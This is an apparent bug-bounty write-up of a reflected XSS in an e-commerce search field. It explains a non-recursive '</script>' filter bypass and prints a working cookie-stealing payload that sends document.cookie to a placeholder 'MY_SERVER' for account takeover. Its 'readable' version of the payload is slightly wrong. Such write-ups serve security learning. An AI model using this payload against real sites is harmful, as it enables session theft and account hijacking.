How I found Reflected XSS which leads to Account Takeover on an E-commerce website

Let’s say the website is example.com.vn. My approach is trying to discover as many functionalities as possible. For this program, I didn’t use any automation tools, instead, I manually tested the website to understand the logic flow. I tried CSRF, IDOR and other bugs but found no luck. Then I decided to inspect the search functionality. I started with some innocent searches such as: <h1>Hello</h1> and here's what i found

Then I tried to break out of the <script> tag and what server responded surprised me

I searched %3C%2Fscript%3EHello%20there which url-decoded is </script>Hello there. However, what the server responded in the response had no </script>. It means the server tried to remove the occurrence of the </script> tag. Then i used a trick which I learnt a long time ago to check if they recursively remove it. I tried to insert the </script> tag between each characters, </s</script>c</script>r</script>i</script>p</script>t>Hello there. And bump!!! I successfully broke out of the script tag, and the final payload I used to takeover accout was: </s</script>cri</script>pt><img src="x" on</script>error=d</script>ocu</script>ment</script>.</script>loca</script>tion</script>.</script>h</script>ref='MY_SERVER?cookie='+do</script>cumen</script>t.c</script>ooki</script>e>, which readable version is </script><img src="x" onerror=document.href='MY_SERVER?cookie=document.cookie'>

When users click on the link, they will be redirect to my server with their cookies and therefore i was able to steal their cookies and takeover their accounts.

I was on cloud nine when I could do it. Unfortunately, when I reported the bug, I noticed that Reflected XSS was out-of-scope, which made me feel disappointed. However, I tried my luck and write a report which was rejected by Hackerone triager and closed as Informative. Although this’s not a valid bug, I was happy because my learning effort was paid off. I had a lot of motivations after finding that bug. All I wanna tell you that let’s step into hacking today and you’ll learn something valuable. I hope I can find more bugs in the future to share with you guys. Last but not least, thanks for reading my blog, see you next time!!!